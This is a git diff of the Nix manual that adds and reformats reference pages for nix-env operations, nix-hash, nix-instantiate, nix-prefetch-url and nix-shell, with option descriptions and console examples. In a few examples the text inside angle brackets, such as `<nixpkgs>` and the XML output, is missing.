specified. + + - `--xml` + + Print the result in an XML representation suitable for automatic + processing by other tools. The root element is called `items`, which + contains a `item` element for each available or installed + derivation. The fields discussed below are all stored in attributes + of the `item` elements. + + - `--json` + + Print the result in a JSON representation suitable for automatic + processing by other tools. + + - `--prebuilt-only` / `-b` + + Show only derivations for which a substitute is registered, i.e., + there is a pre-built binary available that can be downloaded in lieu + of building the derivation. Thus, this shows all packages that + probably can be installed quickly. + + - `--status` / `-s` + + Print the *status* of the derivation. The status consists of three + characters. The first is `I` or `-`, indicating whether the + derivation is currently installed in the current generation of the + active profile. This is by definition the case for `--installed`, + but not for `--available`. The second is `P` or `-`, indicating + whether the derivation is present on the system. This indicates + whether installation of an available derivation will require the + derivation to be built. The third is `S` or `-`, indicating whether + a substitute is available for the derivation. + + - `--attr-path` / `-P` + + Print the *attribute path* of the derivation, which can be used to + unambiguously select it using the `--attr` option available in + commands that install derivations like `nix-env --install`. This + option only works together with `--available` + + - `--no-name` + + Suppress printing of the `name` attribute of each derivation. + + - `--compare-versions` / `-c` + + Compare installed versions to available versions, or vice versa (if + `--available` is given). This is useful for quickly seeing whether + upgrades for installed packages are available in a Nix expression. A + column is added with the following meaning: + + - `<` *version* + + A newer version of the package is available or installed. + + - `=` *version* + + At most the same version of the package is available or + installed. + + - `>` *version* + + Only older versions of the package are available or installed. + + - `- ?` + + No version of the package is available or installed. + + - `--system` + + Print the `system` attribute of the derivation. + + - `--drv-path` + + Print the path of the [store derivation](@docroot@/glossary.md#gloss-store-derivation). + + - `--out-path` + + Print the output path of the derivation. + + - `--description` + + Print a short (one-line) description of the derivation, if + available. The description is taken from the `meta.description` + attribute of the derivation. + + - `--meta` + + Print all of the meta-attributes of the derivation. This option is + only available with `--xml` or `--json`. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +To show installed packages: + +```console +$ nix-env --query +bison-1.875c +docbook-xml-4.2 +firefox-1.0.4 +MPlayer-1.0pre7 +ORBit2-2.8.3 +… +``` + +To show available packages: + +```console +$ nix-env --query --available +firefox-1.0.7 +GConf-2.4.0.1 +MPlayer-1.0pre7 +ORBit2-2.8.3 +… +``` + +To show the status of available packages: + +```console +$ nix-env --query --available --status +-P- firefox-1.0.7 (not installed but present) +--S GConf-2.4.0.1 (not present, but there is a substitute for fast installation) +--S MPlayer-1.0pre3 (i.e., this is not the installed MPlayer, even though the version is the same!) +IP- ORBit2-2.8.3 (installed and by definition present) +… +``` + +To show available packages in the Nix expression `foo.nix`: + +```console +$ nix-env --file ./foo.nix --query --available +foo-1.2.3 +``` + +To compare installed versions to what’s available: + +```console +$ nix-env --query --compare-versions +... +acrobat-reader-7.0 - ? (package is not available at all) +autoconf-2.59 = 2.59 (same version) +firefox-1.0.4 < 1.0.7 (a more recent version is available) +... +``` + +To show all packages with “`zip`” in the name: + +```console +$ nix-env --query --available '.*zip.*' +bzip2-1.0.6 +gzip-1.6 +zip-3.0 +… +``` + +To show all packages with “`firefox`” or “`chromium`” in the name: + +```console +$ nix-env --query --available '.*(firefox|chromium).*' +chromium-37.0.2062.94 +chromium-beta-38.0.2125.24 +firefox-32.0.3 +firefox-with-plugins-13.0.1 +… +``` + +To show all packages in the latest revision of the Nixpkgs repository: + +```console +$ nix-env --file https://github.com/NixOS/nixpkgs/archive/master.tar.gz --query --available +``` + diff --git a/doc/manual/src/command-ref/nix-env/rollback.md b/doc/manual/src/command-ref/nix-env/rollback.md new file mode 100644 index 000000000..1e3958cfc --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/rollback.md @@ -0,0 +1,34 @@ +# Name + +`nix-env --rollback` - set user environment to previous generation + +# Synopsis + +`nix-env` `--rollback` + +# Description + +This operation switches to the “previous” generation of the active +profile, that is, the highest numbered generation lower than the current +generation, if it exists. It is just a convenience wrapper around +`--list-generations` and `--switch-generation`. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --rollback +switching from generation 92 to 91 +``` + +```console +$ nix-env --rollback +error: no generation older than the current (91) exists +``` diff --git a/doc/manual/src/command-ref/nix-env/set-flag.md b/doc/manual/src/command-ref/nix-env/set-flag.md new file mode 100644 index 000000000..58a0248bb --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/set-flag.md @@ -0,0 +1,82 @@ +# Name + +`nix-env --set-flag` - modify meta attributes of installed packages + +# Synopsis + +`nix-env` `--set-flag` *name* *value* *drvnames* + +# Description + +The `--set-flag` operation allows meta attributes of installed packages +to be modified. There are several attributes that can be usefully +modified, because they affect the behaviour of `nix-env` or the user +environment build script: + +- `priority` can be changed to resolve filename clashes. The user + environment build script uses the `meta.priority` attribute of + derivations to resolve filename collisions between packages. Lower + priority values denote a higher priority. For instance, the GCC + wrapper package and the Binutils package in Nixpkgs both have a file + `bin/ld`, so previously if you tried to install both you would get a + collision. Now, on the other hand, the GCC wrapper declares a higher + priority than Binutils, so the former’s `bin/ld` is symlinked in the + user environment. + +- `keep` can be set to `true` to prevent the package from being + upgraded or replaced. This is useful if you want to hang on to an + older version of a package. + +- `active` can be set to `false` to “disable” the package. That is, no + symlinks will be generated to the files of the package, but it + remains part of the profile (so it won’t be garbage-collected). It + can be set back to `true` to re-enable the package. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ../env-common.md}} + +# Examples + +To prevent the currently installed Firefox from being upgraded: + +```console +$ nix-env --set-flag keep true firefox +``` + +After this, `nix-env --upgrade ` will ignore Firefox. + +To disable the currently installed Firefox, then install a new Firefox +while the old remains part of the profile: + +```console +$ nix-env --query +firefox-2.0.0.9 (the current one) + +$ nix-env --preserve-installed --install firefox-2.0.0.11 +installing `firefox-2.0.0.11' +building path(s) `/nix/store/myy0y59q3ig70dgq37jqwg1j0rsapzsl-user-environment' +collision between `/nix/store/...-firefox-2.0.0.11/bin/firefox' + and `/nix/store/...-firefox-2.0.0.9/bin/firefox'. +(i.e., can’t have two active at the same time) + +$ nix-env --set-flag active false firefox +setting flag on `firefox-2.0.0.9' + +$ nix-env --preserve-installed --install firefox-2.0.0.11 +installing `firefox-2.0.0.11' + +$ nix-env --query +firefox-2.0.0.11 (the enabled one) +firefox-2.0.0.9 (the disabled one) +``` + +To make files from `binutils` take precedence over files from `gcc`: + +```console +$ nix-env --set-flag priority 5 binutils +$ nix-env --set-flag priority 10 gcc +``` + diff --git a/doc/manual/src/command-ref/nix-env/set.md b/doc/manual/src/command-ref/nix-env/set.md new file mode 100644 index 000000000..b9950eeab --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/set.md @@ -0,0 +1,30 @@ +# Name + +`nix-env --set` - set profile to contain a specified derivation + +## Synopsis + +`nix-env` `--set` *drvname* + +## Description + +The `--set` operation modifies the current generation of a profile so +that it contains exactly the specified derivation, and nothing else. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +## Examples + +The following updates a profile such that its current generation will +contain just Firefox: + +```console +$ nix-env --profile /nix/var/nix/profiles/browser --set firefox +``` + diff --git a/doc/manual/src/command-ref/nix-env/switch-generation.md b/doc/manual/src/command-ref/nix-env/switch-generation.md new file mode 100644 index 000000000..38cf0534d --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/switch-generation.md @@ -0,0 +1,33 @@ +# Name + +`nix-env --switch-generation` - set user environment to given profile generation + +# Synopsis + +`nix-env` {`--switch-generation` | `-G`} *generation* + +# Description + +This operation makes generation number *generation* the current +generation of the active profile. That is, if the `profile` is the path +to the active profile, then the symlink `profile` is made to point to +`profile-generation-link`, which is in turn a symlink to the actual user +environment in the Nix store. + +Switching will fail if the specified generation does not exist. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --switch-generation 42 +switching from generation 50 to 42 +``` + diff --git a/doc/manual/src/command-ref/nix-env/switch-profile.md b/doc/manual/src/command-ref/nix-env/switch-profile.md new file mode 100644 index 000000000..5ae2fdced --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/switch-profile.md @@ -0,0 +1,26 @@ +# Name + +`nix-env --switch-profile` - set user environment to given profile + +# Synopsis + +`nix-env` {`--switch-profile` | `-S`} *path* + +# Description + +This operation makes *path* the current profile for the user. That is, +the symlink `~/.nix-profile` is made to point to *path*. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --switch-profile ~/my-profile +``` diff --git a/doc/manual/src/command-ref/nix-env/uninstall.md b/doc/manual/src/command-ref/nix-env/uninstall.md new file mode 100644 index 000000000..734cc7675 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/uninstall.md @@ -0,0 +1,28 @@ +# Name + +`nix-env --uninstall` - remove packages from user environment + +# Synopsis + +`nix-env` {`--uninstall` | `-e`} *drvnames…* + +# Description + +The uninstall operation creates a new user environment, based on the +current generation of the active profile, from which the store paths +designated by the symbolic names *drvnames* are removed. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --uninstall gcc +$ nix-env --uninstall '.*' (remove everything) +``` diff --git a/doc/manual/src/command-ref/nix-env/upgrade.md b/doc/manual/src/command-ref/nix-env/upgrade.md new file mode 100644 index 000000000..2779363c3 --- /dev/null +++ b/doc/manual/src/command-ref/nix-env/upgrade.md @@ -0,0 +1,147 @@ +# Name + +`nix-env --upgrade` - upgrade packages in user environment + +# Synopsis + +`nix-env` {`--upgrade` | `-u`} *args* + [`--lt` | `--leq` | `--eq` | `--always`] + [{`--prebuilt-only` | `-b`}] + [{`--attr` | `-A`}] + [`--from-expression`] [`-E`] + [`--from-profile` *path*] + [`--preserve-installed` | `-P`] + +# Description + +The upgrade operation creates a new user environment, based on the +current generation of the active profile, in which all store paths are +replaced for which there are newer versions in the set of paths +described by *args*. Paths for which there are no newer versions are +left untouched; this is not an error. It is also not an error if an +element of *args* matches no installed derivations. + +For a description of how *args* is mapped to a set of store paths, see +[`--install`](#operation---install). If *args* describes multiple +store paths with the same symbolic name, only the one with the highest +version is installed. + +# Flags + +- `--lt` + + Only upgrade a derivation to newer versions. This is the default. + +- `--leq` + + In addition to upgrading to newer versions, also “upgrade” to + derivations that have the same version. Version are not a unique + identification of a derivation, so there may be many derivations + that have the same version. This flag may be useful to force + “synchronisation” between the installed and available derivations. + +- `--eq` + + *Only* “upgrade” to derivations that have the same version. This may + not seem very useful, but it actually is, e.g., when there is a new + release of Nixpkgs and you want to replace installed applications + with the same versions built against newer dependencies (to reduce + the number of dependencies floating around on your system). + +- `--always` + + In addition to upgrading to newer versions, also “upgrade” to + derivations that have the same or a lower version. I.e., derivations + may actually be downgraded depending on what is available in the + active Nix expression. + +- `--prebuilt-only` / `-b` + + Use only derivations for which a substitute is registered, i.e., + there is a pre-built binary available that can be downloaded in lieu + of building the derivation. Thus, no packages will be built from + source. + +- `--preserve-installed` / `-P` + + Do not remove derivations with a name matching one of the + derivations being installed. Usually, trying to have two versions of + the same package installed in the same generation of a profile will + lead to an error in building the generation, due to file name + clashes between the two versions. However, this is not the case for + all packages. + +{{#include ./opt-common.md}} + +{{#include ../opt-common.md}} + +{{#include ./env-common.md}} + +{{#include ../env-common.md}} + +# Examples + +```console +$ nix-env --upgrade --attr nixpkgs.gcc +upgrading `gcc-3.3.1' to `gcc-3.4' +``` + +When there are no updates available, nothing will happen: + +```console +$ nix-env --upgrade --attr nixpkgs.pan +``` + +Using `-A` is preferred when possible, as it is faster and unambiguous but +it is also possible to upgrade to a specific version by matching the derivation name: + +```console +$ nix-env --upgrade gcc-3.3.2 --always +upgrading `gcc-3.4' to `gcc-3.3.2' +``` + +To try to upgrade everything +(matching packages based on the part of the derivation name without version): + +```console +$ nix-env --upgrade +upgrading `hello-2.1.2' to `hello-2.1.3' +upgrading `mozilla-1.2' to `mozilla-1.4' +``` + +# Versions + +The upgrade operation determines whether a derivation `y` is an upgrade +of a derivation `x` by looking at their respective `name` attributes. +The names (e.g., `gcc-3.3.1` are split into two parts: the package name +(`gcc`), and the version (`3.3.1`). The version part starts after the +first dash not followed by a letter. `y` is considered an upgrade of `x` +if their package names match, and the version of `y` is higher than that +of `x`. + +The versions are compared by splitting them into contiguous components +of numbers and letters. E.g., `3.3.1pre5` is split into `[3, 3, 1, +"pre", 5]`. These lists are then compared lexicographically (from left +to right). Corresponding components `a` and `b` are compared as follows. +If they are both numbers, integer comparison is used. If `a` is an empty +string and `b` is a number, `a` is considered less than `b`. The special +string component `pre` (for *pre-release*) is considered to be less than +other components. String components are considered less than number +components. Otherwise, they are compared lexicographically (i.e., using +case-sensitive string comparison). + +This is illustrated by the following examples: + + 1.0 < 2.3 + 2.1 < 2.3 + 2.3 = 2.3 + 2.5 > 2.3 + 3.1 > 2.3 + 2.3.1 > 2.3 + 2.3.1 > 2.3a + 2.3pre1 < 2.3 + 2.3pre3 < 2.3pre12 + 2.3a < 2.3c + 2.3pre1 < 2.3c + 2.3pre1 < 2.3q + diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md index 45f67f1c5..f249c2b84 100644 --- a/doc/manual/src/command-ref/nix-hash.md +++ b/doc/manual/src/command-ref/nix-hash.md @@ -6,9 +6,7 @@ `nix-hash` [`--flat`] [`--base32`] [`--truncate`] [`--type` *hashAlgo*] *path…* -`nix-hash` `--to-base16` *hash…* - -`nix-hash` `--to-base32` *hash…* +`nix-hash` [`--to-base16`|`--to-base32`|`--to-base64`|`--to-sri`] [`--type` *hashAlgo*] *hash…* # Description @@ -22,38 +20,74 @@ an example. The hash is computed over a *serialisation* of each path: a dump of the file system tree rooted at the path. This allows directories and symlinks to be hashed as well as regular files. The dump is in the -*NAR format* produced by [`nix-store ---dump`](nix-store.md#operation---dump). Thus, `nix-hash path` +*[Nix Archive (NAR)][Nix Archive] format* produced by [`nix-store +--dump`](@docroot@/command-ref/nix-store/dump.md). Thus, `nix-hash path` yields the same cryptographic hash as `nix-store --dump path | md5sum`. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive + # Options - - `--flat`\ - Print the cryptographic hash of the contents of each regular file - *path*. That is, do not compute the hash over the dump of *path*. - The result is identical to that produced by the GNU commands - `md5sum` and `sha1sum`. +- `--flat` - - `--base32`\ - Print the hash in a base-32 representation rather than hexadecimal. - This base-32 representation is more compact and can be used in Nix - expressions (such as in calls to `fetchurl`). + Print the cryptographic hash of the contents of each regular file *path*. + That is, instead of computing + the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*, + just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is. + This requires *path* to resolve to a regular file rather than directory. + The result is identical to that produced by the GNU commands + `md5sum` and `sha1sum`. - - `--truncate`\ - Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits. +- `--base16` - - `--type` *hashAlgo*\ - Use the specified cryptographic hash algorithm, which can be one of - `md5`, `sha1`, `sha256`, and `sha512`. + Print the hash in a hexadecimal representation (default). - - `--to-base16`\ - Don’t hash anything, but convert the base-32 hash representation - *hash* to hexadecimal. +- `--base32` - - `--to-base32`\ - Don’t hash anything, but convert the hexadecimal hash representation - *hash* to base-32. + Print the hash in a base-32 representation rather than hexadecimal. + This base-32 representation is more compact and can be used in Nix + expressions (such as in calls to `fetchurl`). + +- `--base64` + + Similar to --base32, but print the hash in a base-64 representation, + which is more compact than the base-32 one. + +- `--sri` + + Print the hash in SRI format with base-64 encoding. + The type of hash algorithm will be prepended to the hash string, + followed by a hyphen (-) and the base-64 hash body. + +- `--truncate` + + Truncate hashes longer than 160 bits (such as SHA-256) to 160 bits. + +- `--type` *hashAlgo* + + Use the specified cryptographic hash algorithm, which can be one of + `md5`, `sha1`, `sha256`, and `sha512`. + +- `--to-base16` + + Don’t hash anything, but convert the base-32 hash representation + *hash* to hexadecimal. + +- `--to-base32` + + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to base-32. + +- `--to-base64` + + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to base-64. + +- `--to-sri` + + Don’t hash anything, but convert the hexadecimal hash representation + *hash* to SRI. # Examples @@ -81,9 +115,18 @@ $ nix-store --dump test/ | md5sum (for comparison) $ nix-hash --type sha1 test/ e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 +$ nix-hash --type sha1 --base16 test/ +e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 + $ nix-hash --type sha1 --base32 test/ nvd61k9nalji1zl9rrdfmsmvyyjqpzg4 +$ nix-hash --type sha1 --base64 test/ +5P2Lpfe76upazon+ECVVNs1g2rY= + +$ nix-hash --type sha1 --sri test/ +sha1-5P2Lpfe76upazon+ECVVNs1g2rY= + $ nix-hash --type sha256 --flat test/ error: reading file `test/': Is a directory @@ -91,7 +134,7 @@ $ nix-hash --type sha256 --flat test/world 5891b5b522d5df086d0ff0b110fbd9d21bb4fc7163af34d08286a2e846f6be03 ``` -Converting between hexadecimal and base-32: +Converting between hexadecimal, base-32, base-64, and SRI: ```console $ nix-hash --type sha1 --to-base32 e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 @@ -99,4 +142,13 @@ nvd61k9nalji1zl9rrdfmsmvyyjqpzg4 $ nix-hash --type sha1 --to-base16 nvd61k9nalji1zl9rrdfmsmvyyjqpzg4 e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 + +$ nix-hash --type sha1 --to-base64 e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 +5P2Lpfe76upazon+ECVVNs1g2rY= + +$ nix-hash --type sha1 --to-sri nvd61k9nalji1zl9rrdfmsmvyyjqpzg4 +sha1-5P2Lpfe76upazon+ECVVNs1g2rY= + +$ nix-hash --to-base16 sha1-5P2Lpfe76upazon+ECVVNs1g2rY= +e4fd8ba5f7bbeaea5ace89fe10255536cd60dab6 ``` diff --git a/doc/manual/src/command-ref/nix-instantiate.md b/doc/manual/src/command-ref/nix-instantiate.md index 8f143729e..6f6fcdc1f 100644 --- a/doc/manual/src/command-ref/nix-instantiate.md +++ b/doc/manual/src/command-ref/nix-instantiate.md @@ -17,76 +17,124 @@ # Description -The command `nix-instantiate` generates [store -derivations](../glossary.md) from (high-level) Nix expressions. It -evaluates the Nix expressions in each of *files* (which defaults to +The command `nix-instantiate` produces [store derivation]s from (high-level) Nix expressions. +It evaluates the Nix expressions in each of *files* (which defaults to *./default.nix*). Each top-level expression should evaluate to a derivation, a list of derivations, or a set of derivations. The paths of the resulting store derivations are printed on standard output. +[store derivation]: @docroot@/glossary.md#gloss-store-derivation + If *files* is the character `-`, then a Nix expression will be read from standard input. # Options - - `--add-root` *path*\ - See the [corresponding option](nix-store.md) in `nix-store`. +- `--add-root` *path* - - `--parse`\ - Just parse the input files, and print their abstract syntax trees on - standard output in ATerm format. + See the [corresponding option](nix-store.md) in `nix-store`. - - `--eval`\ - Just parse and evaluate the input files, and print the resulting - values on standard output. No instantiation of store derivations - takes place. +- `--parse` - - `--find-file`\ - Look up the given files in Nix’s search path (as specified by the - `NIX_PATH` environment variable). If found, print the corresponding - absolute paths on standard output. For instance, if `NIX_PATH` is - `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file - nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`. + Just parse the input files, and print their abstract syntax trees on + standard output as a Nix expression. - - `--strict`\ - When used with `--eval`, recursively evaluate list elements and - attributes. Normally, such sub-expressions are left unevaluated - (since the Nix language is lazy). +- `--eval` - > **Warning** - > - > This option can cause non-termination, because lazy data - > structures can be infinitely large. + Just parse and evaluate the input files, and print the resulting + values on standard output. No instantiation of store derivations + takes place. - - `--json`\ - When used with `--eval`, print the resulting value as an JSON - representation of the abstract syntax tree rather than as an ATerm. + > **Warning** + > + > This option produces output which can be parsed as a Nix expression which + > will produce a different result than the input expression when evaluated. + > For example, these two Nix expressions print the same result despite + > having different meaning: + > + > ```console + > $ nix-instantiate --eval --expr '{ a = {}; }' + > { a = ; } + > $ nix-instantiate --eval --expr '{ a = ; }' + > { a = ; } + > ``` + > + > For human-readable output, `nix eval` (experimental) is more informative: + > + > ```console + > $ nix-instantiate --eval --expr 'a: a' + > + > $ nix eval --expr 'a: a' + > «lambda @ «string»:1:1» + > ``` + > + > For machine-readable output, the `--xml` option produces unambiguous + > output: + > + > ```console + > $ nix-instantiate --eval --xml --expr '{ foo = ; }' + > + > + > + > + > + > + > + > + > ``` - - `--xml`\ - When used with `--eval`, print the resulting value as an XML - representation of the abstract syntax tree rather than as an ATerm. - The schema is the same as that used by the [`toXML` - built-in](../language/builtins.md). +- `--find-file` - - `--read-write-mode`\ - When used with `--eval`, perform evaluation in read/write mode so - nix language features that require it will still work (at the cost - of needing to do instantiation of every evaluated derivation). If - this option is not enabled, there may be uninstantiated store paths - in the final output. + Look up the given files in Nix’s search path (as specified by the + `NIX_PATH` environment variable). If found, print the corresponding + absolute paths on standard output. For instance, if `NIX_PATH` is + `nixpkgs=/home/alice/nixpkgs`, then `nix-instantiate --find-file + nixpkgs/default.nix` will print `/home/alice/nixpkgs/default.nix`. - +- `--strict` + + When used with `--eval`, recursively evaluate list elements and + attributes. Normally, such sub-expressions are left unevaluated + (since the Nix language is lazy). + + > **Warning** + > + > This option can cause non-termination, because lazy data + > structures can be infinitely large. + +- `--json` + + When used with `--eval`, print the resulting value as an JSON + representation of the abstract syntax tree rather than as a Nix expression. + +- `--xml` + + When used with `--eval`, print the resulting value as an XML + representation of the abstract syntax tree rather than as a Nix expression. + The schema is the same as that used by the [`toXML` + built-in](../language/builtins.md). + +- `--read-write-mode` + + When used with `--eval`, perform evaluation in read/write mode so + nix language features that require it will still work (at the cost + of needing to do instantiation of every evaluated derivation). If + this option is not enabled, there may be uninstantiated store paths + in the final output. + +{{#include ./opt-common.md}} + +{{#include ./env-common.md}} # Examples -Instantiating store derivations from a Nix expression, and building them -using `nix-store`: +Instantiate [store derivation]s from a Nix expression, and build them using `nix-store`: ```console $ nix-instantiate test.nix (instantiate) /nix/store/cigxbmvy6dzix98dxxh9b6shg7ar5bvs-perl-BerkeleyDB-0.26.drv -$ nix-store -r $(nix-instantiate test.nix) (build) +$ nix-store --realise $(nix-instantiate test.nix) (build) ... /nix/store/qhqk4n8ci095g3sdp93x7rgwyh9rdvgk-perl-BerkeleyDB-0.26 (output path) @@ -98,30 +146,30 @@ dr-xr-xr-x 2 eelco users 4096 1970-01-01 01:00 lib You can also give a Nix expression on the command line: ```console -$ nix-instantiate -E 'with import { }; hello' +$ nix-instantiate --expr 'with import { }; hello' /nix/store/j8s4zyv75a724q38cb0r87rlczaiag4y-hello-2.8.drv ``` This is equivalent to: ```console -$ nix-instantiate '' -A hello +$ nix-instantiate '' --attr hello ``` Parsing and evaluating Nix expressions: ```console -$ nix-instantiate --parse -E '1 + 2' +$ nix-instantiate --parse --expr '1 + 2' 1 + 2 ``` ```console -$ nix-instantiate --eval -E '1 + 2' +$ nix-instantiate --eval --expr '1 + 2' 3 ``` ```console -$ nix-instantiate --eval --xml -E '1 + 2' +$ nix-instantiate --eval --xml --expr '1 + 2' @@ -131,28 +179,24 @@ $ nix-instantiate --eval --xml -E '1 + 2' The difference between non-strict and strict evaluation: ```console -$ nix-instantiate --eval --xml -E 'rec { x = "foo"; y = x; }' -... - - - - - - -... -``` +$ nix-instantiate --eval --xml --expr '{ x = {}; }' + + + + + + + + -Note that `y` is left unevaluated (the XML representation doesn’t -attempt to show non-normal forms). - -```console -$ nix-instantiate --eval --xml --strict -E 'rec { x = "foo"; y = x; }' -... - - - - - - -... +$ nix-instantiate --eval --xml --strict --expr '{ x = {}; }' + + + + + + + + + ``` diff --git a/doc/manual/src/command-ref/nix-prefetch-url.md b/doc/manual/src/command-ref/nix-prefetch-url.md index 3bcd209e2..ffab94b8a 100644 --- a/doc/manual/src/command-ref/nix-prefetch-url.md +++ b/doc/manual/src/command-ref/nix-prefetch-url.md @@ -31,32 +31,40 @@ store already contains a file with the same hash and base name. Otherwise, the file is downloaded, and an error is signaled if the actual hash of the file does not match the specified hash. -This command prints the hash on standard output. Additionally, if the -option `--print-path` is used, the path of the downloaded file in the -Nix store is also printed. +This command prints the hash on standard output. +The hash is printed using base-32 unless `--type md5` is specified, +in which case it's printed using base-16. +Additionally, if the option `--print-path` is used, +the path of the downloaded file in the Nix store is also printed. # Options - - `--type` *hashAlgo*\ - Use the specified cryptographic hash algorithm, which can be one of - `md5`, `sha1`, `sha256`, and `sha512`. +- `--type` *hashAlgo* - - `--print-path`\ - Print the store path of the downloaded file on standard output. + Use the specified cryptographic hash algorithm, + which can be one of `md5`, `sha1`, `sha256`, and `sha512`. + The default is `sha256`. - - `--unpack`\ - Unpack the archive (which must be a tarball or zip file) and add the - result to the Nix store. The resulting hash can be used with - functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`. +- `--print-path` - - `--executable`\ - Set the executable bit on the downloaded file. + Print the store path of the downloaded file on standard output. - - `--name` *name*\ - Override the name of the file in the Nix store. By default, this is - `hash-basename`, where *basename* is the last component of *url*. - Overriding the name is necessary when *basename* contains characters - that are not allowed in Nix store paths. +- `--unpack` + + Unpack the archive (which must be a tarball or zip file) and add the + result to the Nix store. The resulting hash can be used with + functions such as Nixpkgs’s `fetchzip` or `fetchFromGitHub`. + +- `--executable` + + Set the executable bit on the downloaded file. + +- `--name` *name* + + Override the name of the file in the Nix store. By default, this is + `hash-basename`, where *basename* is the last component of *url*. + Overriding the name is necessary when *basename* contains characters + that are not allowed in Nix store paths. # Examples diff --git a/doc/manual/src/command-ref/nix-shell.md b/doc/manual/src/command-ref/nix-shell.md index 840bccd25..69a711bd5 100644 --- a/doc/manual/src/command-ref/nix-shell.md +++ b/doc/manual/src/command-ref/nix-shell.md @@ -60,55 +60,65 @@ All options not listed here are passed to `nix-store --realise`, except for `--arg` and `--attr` / `-A` which are passed to `nix-instantiate`. - - `--command` *cmd*\ - In the environment of the derivation, run the shell command *cmd*. - This command is executed in an interactive shell. (Use `--run` to - use a non-interactive shell instead.) However, a call to `exit` is - implicitly added to the command, so the shell will exit after - running the command. To prevent this, add `return` at the end; - e.g. `--command "echo Hello; return"` will print `Hello` and then - drop you into the interactive shell. This can be useful for doing - any additional initialisation. +- `--command` *cmd* - - `--run` *cmd*\ - Like `--command`, but executes the command in a non-interactive - shell. This means (among other things) that if you hit Ctrl-C while - the command is running, the shell exits. + In the environment of the derivation, run the shell command *cmd*. + This command is executed in an interactive shell. (Use `--run` to + use a non-interactive shell instead.) However, a call to `exit` is + implicitly added to the command, so the shell will exit after + running the command. To prevent this, add `return` at the end; + e.g. `--command "echo Hello; return"` will print `Hello` and then + drop you into the interactive shell. This can be useful for doing + any additional initialisation. - - `--exclude` *regexp*\ - Do not build any dependencies whose store path matches the regular - expression *regexp*. This option may be specified multiple times. +- `--run` *cmd* - - `--pure`\ - If this flag is specified, the environment is almost entirely - cleared before the interactive shell is started, so you get an - environment that more closely corresponds to the “real” Nix build. A - few variables, in particular `HOME`, `USER` and `DISPLAY`, are - retained. + Like `--command`, but executes the command in a non-interactive + shell. This means (among other things) that if you hit Ctrl-C while + the command is running, the shell exits. - - `--packages` / `-p` *packages*…\ - Set up an environment in which the specified packages are present. - The command line arguments are interpreted as attribute names inside - the Nix Packages collection. Thus, `nix-shell -p libjpeg openjdk` - will start a shell in which the packages denoted by the attribute - names `libjpeg` and `openjdk` are present. +- `--exclude` *regexp* - - `-i` *interpreter*\ - The chained script interpreter to be invoked by `nix-shell`. Only - applicable in `#!`-scripts (described below). + Do not build any dependencies whose store path matches the regular + expression *regexp*. This option may be specified multiple times. - - `--keep` *name*\ - When a `--pure` shell is started, keep the listed environment - variables. +- `--pure` -The following common options are supported: + If this flag is specified, the environment is almost entirely + cleared before the interactive shell is started, so you get an + environment that more closely corresponds to the “real” Nix build. A + few variables, in particular `HOME`, `USER` and `DISPLAY`, are + retained. + +- `--packages` / `-p` *packages*… + + Set up an environment in which the specified packages are present. + The command line arguments are interpreted as attribute names inside + the Nix Packages collection. Thus, `nix-shell --packages libjpeg openjdk` + will start a shell in which the packages denoted by the attribute + names `libjpeg` and `openjdk` are present. + +- `-i` *interpreter* + + The chained script interpreter to be invoked by `nix-shell`. Only + applicable in `#!`-scripts (described below). + +- `--keep` *name* + + When a `--pure` shell is started, keep the listed environment + variables. + +{{#include ./opt-common.md}} # Environment variables - - `NIX_BUILD_SHELL`\ - Shell used to start the interactive environment. Defaults to the - `bash` found in ``, falling back to the `bash` found in - `PATH` if not found. +- `NIX_BUILD_SHELL` + + Shell used to start the interactive environment. Defaults to the + `bash` found in ``, falling back to the `bash` found in + `PATH` if not found. + +{{#include ./env-common.md}} # Examples @@ -116,9 +126,10 @@ To build the dependencies of the package Pan, and start an interactive shell in which to build it: ```console -$ nix-shell '' -A pan +$ nix-shell '' --attr pan [nix-shell]$ eval ${unpackPhase:-unpackPhase} -[nix-shell]$ cd pan-* +[nix-shell]$ cd $sourceRoot +[nix-shell]$ eval ${patchPhase:-patchPhase} [nix-shell]$ eval ${configurePhase:-configurePhase} [nix-shell]$ eval ${buildPhase:-buildPhase} [nix-shell]$ ./pan/gui/pan @@ -134,7 +145,7 @@ To clear the environment first, and do some additional automatic initialisation of the interactive shell: ```console -$ nix-shell '' -A pan --pure \ +$ nix-shell '' --attr pan --pure \ --command 'export NIX_DEBUG=1; export NIX_CORES=8; return' ``` @@ -143,13 +154,13 @@ Nix expressions can also be given on the command line using the `-E` and 